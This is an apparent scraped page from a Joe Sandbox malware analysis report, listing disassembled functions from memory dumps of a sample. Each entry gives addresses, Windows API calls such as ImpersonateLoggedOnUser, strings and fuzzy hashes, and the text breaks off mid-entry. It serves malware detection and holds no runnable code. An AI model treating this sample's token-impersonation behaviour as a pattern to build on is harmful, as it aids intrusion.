Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: B$B$B$I^2$$h}/9
API String ID: 1004003707-632112022
Opcode ID: e456b41c8218c5c2878edad117f7d1c39dace70967b1e9da172d671df5be1f19
Instruction ID: 3c1606ba9dd05c99440c0e99e987c8382c97453cba23cce5cab9ce1d69094eb4
Opcode Fuzzy Hash: e456b41c8218c5c2878edad117f7d1c39dace70967b1e9da172d671df5be1f19
Instruction Fuzzy Hash: 62310972A0C78686DB21CF14E4402AAFBA0EB95B84F844135EB8D47B45EFBDC945CF41

Function 00000001400958C8 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000001400958D7
FlsGetValue.KERNEL32 ref: 00000001400958EC
FlsSetValue.KERNEL32 ref: 000000014009590D
FlsSetValue.KERNEL32 ref: 000000014009593A
FlsSetValue.KERNEL32 ref: 000000014009594B
FlsSetValue.KERNEL32 ref: 000000014009595C
SetLastError.KERNEL32 ref: 0000000140095977

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: fedaecc045babbb9702cf2e98f8cdc934b493d71d67ace1d781d02d410895e97
Instruction ID: 94191e183d8c7d64a8a2dbd3827d5593e31011003ecf1becfb5b7b44f012405e
Opcode Fuzzy Hash: fedaecc045babbb9702cf2e98f8cdc934b493d71d67ace1d781d02d410895e97
Instruction Fuzzy Hash: 28216A3021964082FA5B7B77A6553ED66829B4DBF1F540729BB660BBF6EE38C4018301

Function 00000001400A77C8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000001400A77F9
GetLastError.KERNEL32 ref: 00000001400A7805
CloseHandle.KERNEL32 ref: 00000001400A781D
CreateFileW.KERNEL32 ref: 00000001400A7848
WriteConsoleW.KERNEL32 ref: 00000001400A7867

Strings

CONOUT$, xrefs: 00000001400A7829

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 6204a89cdd06f09cfc3486d0d96b2f463e47156f2c9ace21a11958914875a066
Instruction ID: b2c7ae89afa13f93ab2f89b082ff298c5d837d5d0260bd35e7c271c2b071468c
Opcode Fuzzy Hash: 6204a89cdd06f09cfc3486d0d96b2f463e47156f2c9ace21a11958914875a066
Instruction Fuzzy Hash: E6116A32710A4086E7528B57F854B9DA2A1FB9CFE4F444224EB6D877A4DF3CC845CB50

Function 00007FF6350EF340 Relevance: 9.4, APIs: 6, Instructions: 414COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00007FF6350EF4C2
fputc.MSVCRT ref: 00007FF6350EF53A
fputc.MSVCRT ref: 00007FF6350EF592

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fputc
String ID:
API String ID: 1992160199-0
Opcode ID: 3c91229a8620996d77b275314aee762391fa8306f714f08d228cfd6e98818314
Instruction ID: b42a3f50eb87c564767256652c8d6d84779a655b938a06f9a4ca8988d31a551f
Opcode Fuzzy Hash: 3c91229a8620996d77b275314aee762391fa8306f714f08d228cfd6e98818314
Instruction Fuzzy Hash: 6DF1E463E18A8386EB218F2591047392A91AB54FE8F75A231CA5D977C4CF3EFD41A700

Function 00000001400B866C Relevance: 9.2, APIs: 6, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00000001400B8719
MultiByteToWideChar.KERNEL32 ref: 00000001400B87B5
MultiByteToWideChar.KERNEL32 ref: 00000001400B885E
MultiByteToWideChar.KERNEL32 ref: 00000001400B8888
MultiByteToWideChar.KERNEL32 ref: 00000001400B8930
CompareStringEx.KERNEL32 ref: 00000001400B897D

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 8e7ed421b9ab10fa64d8ac8429b202f25cf3c3f4c1382695c7f8b6ad37d36eca
Instruction ID: 00de4b50e6229e7b19f2ebf843531fdc6470dc3cb5f6c1b8a30933229632cc52
Opcode Fuzzy Hash: 8e7ed421b9ab10fa64d8ac8429b202f25cf3c3f4c1382695c7f8b6ad37d36eca
Instruction Fuzzy Hash: D1A18E72214A808AEF338FA294543ED66A1F748BE8F584622FF59077F5EB38C945C341

Function 000000014006D2C0 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 469COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.ADVAPI32 ref: 000000014006D6CB
RevertToSelf.ADVAPI32 ref: 000000014006D6E9

Strings

APPB, xrefs: 000000014006D80A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ImpersonateLoggedRevertSelfUser
String ID: APPB
API String ID: 1724704203-1278849820
Opcode ID: 126666c9b2267c489ec8b2bfcab5e3b053b98117b2e215cc224c376229affd22
Instruction ID: cd5e0d61c4494fc0e7b834e799b1642ebb3b46db86928f36585c127bdd859749
Opcode Fuzzy Hash: 126666c9b2267c489ec8b2bfcab5e3b053b98117b2e215cc224c376229affd22
Instruction Fuzzy Hash: 4612AF72B2069089FB129BAAD8543DD3762E7497E8F605616FB6D17AFADF74C480C300

Function 00000001400B830C Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00000001400B837C
MultiByteToWideChar.KERNEL32 ref: 00000001400B841A
LCMapStringEx.KERNEL32 ref: 00000001400B8483
LCMapStringEx.KERNEL32 ref: 00000001400B84D5
LCMapStringEx.KERNEL32 ref: 00000001400B857A
WideCharToMultiByte.KERNEL32 ref: 00000001400B85D4

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: aff1d1866dc12ffdbaee311dbe293056c30c40e0640524166ebc9974f98794e1
Instruction ID: 8b8c5f4bf6079c73f73cf44f0fe3ced5764d8e641cf6acd2d34b214dda9e4180
Opcode Fuzzy Hash: aff1d1866dc12ffdbaee311dbe293056c30c40e0640524166ebc9974f98794e1
Instruction Fuzzy Hash: 6D817E72200B8086EB368FA6E84079972E5FB98BE8F544625FF5947BF8DB38C545C700

Function 00007FF6350F6EA0 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

___mb_cur_max_func.MSVCRT ref: 00007FF6350F6ECB
___lc_codepage_func.MSVCRT ref: 00007FF6350F6ED3
IsDBCSLeadByteEx.KERNEL32 ref: 00007FF6350F6F23
MultiByteToWideChar.KERNEL32 ref: 00007FF6350F6F55

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID:
API String ID: 2785433807-0
Opcode ID: b8ade29cbcad1670599392aa2893148449ef957c3984b89b714999f8b731dc73
Instruction ID: b97840e85134378ed27ebf027f0d9eaab13848e8424dbefd95ec1556007e3c4c
Opcode Fuzzy Hash: b8ade29cbcad1670599392aa2893148449ef957c3984b89b714999f8b731dc73
Instruction Fuzzy Hash: E5312B23B1924389F7624B21A8003BD66D46F40BF8F484236EE68877C0DF7ED885D744

Function 00007FF6350D1E18 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

rand.MSVCRT ref: 00007FF6350D1E18
rand.MSVCRT ref: 00007FF6350D1E35
rand.MSVCRT ref: 00007FF6350D1E5A

Strings

+-*/, xrefs: 00007FF6350D1E7C
and , xrefs: 00007FF6350D1E97
Performing arithmetic operations on: , xrefs: 00007FF6350D1E73

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: rand
String ID: and $+-*/$Performing arithmetic operations on:
API String ID: 415692148-3864222635
Opcode ID: f0d3409b9f0d6e33847339fe865cbda917983b98c22d437aab5b055a0af117dc
Instruction ID: 0c82caec6284f3b88e24552973770173692ae574c7b1d21c2222388c08c124c0
Opcode Fuzzy Hash: f0d3409b9f0d6e33847339fe865cbda917983b98c22d437aab5b055a0af117dc
Instruction Fuzzy Hash: 7D21E412F0AA2744EA14AB2AD84527E57E26FC5F80F489131DD0EC779EDE3DED00A340

Function 0000000140095A40 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000140095A4F
FlsSetValue.KERNEL32(?,?,-256325B0FF13704B,0000000140091B75,?,?,?,?,0000000140098C74), ref: 0000000140095A85
FlsSetValue.KERNEL32(?,?,-256325B0FF13704B,0000000140091B75,?,?,?,?,0000000140098C74), ref: 0000000140095AB2
FlsSetValue.KERNEL32(?,?,-256325B0FF13704B,0000000140091B75,?,?,?,?,0000000140098C74), ref: 0000000140095AC3
FlsSetValue.KERNEL32(?,?,-256325B0FF13704B,0000000140091B75,?,?,?,?,0000000140098C74), ref: 0000000140095AD4
SetLastError.KERNEL32 ref: 0000000140095AEF

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6a4bcfef20db45009a0286a8040033da4839dfb185167cde3ad128965d81910f
Instruction ID: 4e56595a93ee8ec0115da1d98981107824e97e2991e46ab42691fcb503f31c77
Opcode Fuzzy Hash: 6a4bcfef20db45009a0286a8040033da4839dfb185167cde3ad128965d81910f
Instruction Fuzzy Hash: 4E117F3030524042FA5B677756963ED65525F4C7F0F540729BB3647BF6EE38C4418302

Function 000000014002D8F0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 281COMMON

Download Yara Rule

APIs

__std_fs_code_page.LIBCPMT ref: 000000014002D94F

Part of subcall function 00000001400B64A0: AreFileApisANSI.KERNEL32 ref: 00000001400B64B2

__std_exception_destroy.LIBVCRUNTIME ref: 000000014002DBF7
__std_exception_destroy.LIBVCRUNTIME ref: 000000014002DCB1

Strings

", ", xrefs: 000000014002DA3D
: ", xrefs: 000000014002DA0A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: __std_exception_destroy$ApisFile__std_fs_code_page
String ID: ", "$: "
API String ID: 741338541-747220369
Opcode ID: a79c56c2e12e386f934971c303a5ffc3157c1de7703a1e711556dcc739b4d68e
Instruction ID: 2f9f9c717eaa61eeb0c67eb9e7509bd531f61b69cecee47917d4c8967017d8a8
Opcode Fuzzy Hash: a79c56c2e12e386f934971c303a5ffc3157c1de7703a1e711556dcc739b4d68e
Instruction Fuzzy Hash: D6B18A72700A4096EB02DF66E4543EC3361E759BC8F508626EF5D57BAADF38C995C380

Function 00007FF6350D4480 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 105COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF6350D4605

Strings

@, xrefs: 00007FF6350D44EC
MF3A, xrefs: 00007FF6350D456F
@, xrefs: 00007FF6350D459E
>, xrefs: 00007FF6350D451E

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: HandleModule
String ID: >$@$@$MF3A
API String ID: 4139908857-2332176444
Opcode ID: 328f68d8ccde1d471623e3a916f8d5002275435361e7f0ce1315f7b9a25dafef
Instruction ID: 4916d10c36f093710241c8470badceb245da26d7424c3d08bc9e267afc5cd8dd
Opcode Fuzzy Hash: 328f68d8ccde1d471623e3a916f8d5002275435361e7f0ce1315f7b9a25dafef
Instruction Fuzzy Hash: 9741C632A0D7C982EB218F14F4403AAB7A0F789B84F814626DB8D47B58EFBDD545DB41

Function 00000001400A00B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000001400A00D9
GetProcAddress.KERNEL32 ref: 00000001400A00EF
FreeLibrary.KERNEL32 ref: 00000001400A0116

Strings

CorExitProcess, xrefs: 00000001400A00E8
mscoree.dll, xrefs: 00000001400A00D0

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 11d1bc54c7adcb39bb252d565eeaa109e042f256159d3b1e4446ddc4ea841d4a
Instruction ID: 545204f8687e3a2734c2c0d104c94094f9ded36245a91659c09d7b5539e87f50
Opcode Fuzzy Hash: 11d1bc54c7adcb39bb252d565eeaa109e042f256159d3b1e4446ddc4ea841d4a
Instruction Fuzzy Hash: E9F0627131160882EB568B26E8453DD6360EF8D7E1F540319E769472F4CF3CC1868B10

Function 00007FF6351C0A00 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 297COMMON

Download Yara Rule

Strings

basic_string::_M_create, xrefs: 00007FF6351C0B49, 00007FF6351C0BE2, 00007FF6351C0C72, 00007FF6351C0D02, 00007FF6351C0D92

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: basic_string::_M_create
API String ID: 0-3122258987
Opcode ID: 44b85481758d657289992c4c4b478202b050daf0a3589029b5cd0d7c519323b4
Instruction ID: b9478bad973713af67ef7a387fab9849247bdc56f902ea525a3d4aa737a62d51
Opcode Fuzzy Hash: 44b85481758d657289992c4c4b478202b050daf0a3589029b5cd0d7c519323b4
Instruction Fuzzy Hash: 41A1B262F1568784EA249F26D8401BDA2A0AF45FE4F988631DE6DC73D5EF2DE881D300

Function 00007FF6350EF9C0 Relevance: 7.8, APIs: 5, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ea054b2a2157d068e8ab586f5ae1021de10276e6996cd183b54ca99c2502e6
Instruction ID: 61ef2293f5464617d1f9bffc44790cdae302007738c3e92a251d2976d17a87ac
Opcode Fuzzy Hash: 64ea054b2a2157d068e8ab586f5ae1021de10276e6996cd183b54ca99c2502e6
Instruction Fuzzy Hash: 44C16EB3E19A5386E7658E24C1143797BA1EB44F98F69A231CA0997384CF3EEC41E740

Function 00007FF6350D3060 Relevance: 7.7, APIs: 5, Instructions: 231stringCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6350D3071
GetTempPathA.KERNEL32 ref: 00007FF6350D30C8
strlen.MSVCRT ref: 00007FF6350D31E7
strlen.MSVCRT ref: 00007FF6350D32A9
memcpy.MSVCRT ref: 00007FF6350D32EE

Part of subcall function 00007FF63510EE70: memchr.MSVCRT ref: 00007FF63510EEB1

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strlen$CurrentPathProcessTempmemchrmemcpy
String ID:
API String ID: 1237187527-0
Opcode ID: f4e7bedf47afd40fecaf14e77b810dd7dad75451e5cfdd79f2a6c94f68c429c1
Instruction ID: e819d47279b292849ad254380a856a2930664c7a17e439f59ce01f6740e9780e
Opcode Fuzzy Hash: f4e7bedf47afd40fecaf14e77b810dd7dad75451e5cfdd79f2a6c94f68c429c1
Instruction Fuzzy Hash: AFA17126608B8282EA548B29E4403AEA7A1FB85FD0F544231EF9D87BD8DF7DD445DB00

Function 000000014009CBF8 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000000014009CC3B
_set_statfp.LIBCMT ref: 000000014009CC59
_set_statfp.LIBCMT ref: 000000014009CC82
_set_statfp.LIBCMT ref: 000000014009CEBB

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f9d29a29cdd2ffd341ecb2d23d59fd5f68f4680a083a3d8e41450f0123bb1665
Instruction ID: 51537d9657ec2fdfa4f10ec80af9299248d2a692f50d6fc6d23c4d355d044b15
Opcode Fuzzy Hash: f9d29a29cdd2ffd341ecb2d23d59fd5f68f4680a083a3d8e41450f0123bb1665
Instruction Fuzzy Hash: C881F4B2A24A8449F7778F3AA450BEABA60FB5D7D8F044315FB5A275F4DB34C5818A00

Function 000000014008DEC4 Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014008DF3D
_invalid_parameter_noinfo.LIBCMT ref: 000000014008DF8D
_invalid_parameter_noinfo.LIBCMT ref: 000000014008DFD5
_invalid_parameter_noinfo.LIBCMT ref: 000000014008E00D
_invalid_parameter_noinfo.LIBCMT ref: 000000014008E080

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a03a752f2ac655c7a58730884bc2fcf5dd5ee0725649a45cd42aac9bb0d07a50
Instruction ID: 522d1dfaad3cd7a1789f81a8b2f94e3c0e8e741ccacba2c26c74aefc8858f3ae
Opcode Fuzzy Hash: a03a752f2ac655c7a58730884bc2fcf5dd5ee0725649a45cd42aac9bb0d07a50
Instruction Fuzzy Hash: 8B51A233105B8486E7639F22E4603ED3BD5B759FC4F498412E7C8473A7DA3A8995D702

Function 00007FF6351BE690 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6351BE730
memcpy.MSVCRT ref: 00007FF6351BE764

Strings

Result of , xrefs: 00007FF6351BE692
basic_string::_M_create, xrefs: 00007FF6351BE84A

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpy
String ID: Result of $basic_string::_M_create
API String ID: 3510742995-1160149181
Opcode ID: ecf818389d4a64880c138437d3c7078a4c229c0a1f64958101a06294d39f3f93
Instruction ID: 4153022864b2b3f9a7b091c033777d7ed85fc817f3f440f9be9bcd18e98dcf34
Opcode Fuzzy Hash: ecf818389d4a64880c138437d3c7078a4c229c0a1f64958101a06294d39f3f93
Instruction Fuzzy Hash: 4F41C426B0968754EA39BA16D11427A2752EF40FD8F544A31DE4E87789DF3CE842E381

Function 00000001400A8B70 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000001400A8B98
_set_statfp.LIBCMT ref: 00000001400A8BB3
_set_statfp.LIBCMT ref: 00000001400A8BCF
_set_statfp.LIBCMT ref: 00000001400A8C0B

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: ec8299edcefb6fa201b4cd1aeee9dcae6e47e61ba1c4a4a6e0c30bc807d4dc5c
Instruction ID: 9eabe2c6862708b434ee5f188970f655e061dec2d8f65aedb1ea2276e73e5cc0
Opcode Fuzzy Hash: ec8299edcefb6fa201b4cd1aeee9dcae6e47e61ba1c4a4a6e0c30bc807d4dc5c
Instruction Fuzzy Hash: 6E11E5B2A60E0105F67A112BED463E925406B7C3F8F890725BF67072F68B38CCC18B24

Function 0000000140095B08 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000000014008D367,?,?,00000000,000000014008D602,?,?,?,?,-256325B0FF13704B,000000014008D58E), ref: 0000000140095B27
FlsSetValue.KERNEL32(?,?,?,000000014008D367,?,?,00000000,000000014008D602,?,?,?,?,-256325B0FF13704B,000000014008D58E), ref: 0000000140095B46
FlsSetValue.KERNEL32(?,?,?,000000014008D367,?,?,00000000,000000014008D602,?,?,?,?,-256325B0FF13704B,000000014008D58E), ref: 0000000140095B6E
FlsSetValue.KERNEL32(?,?,?,000000014008D367,?,?,00000000,000000014008D602,?,?,?,?,-256325B0FF13704B,000000014008D58E), ref: 0000000140095B7F
FlsSetValue.KERNEL32(?,?,?,000000014008D367,?,?,00000000,000000014008D602,?,?,?,?,-256325B0FF13704B,000000014008D58E), ref: 0000000140095B90

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

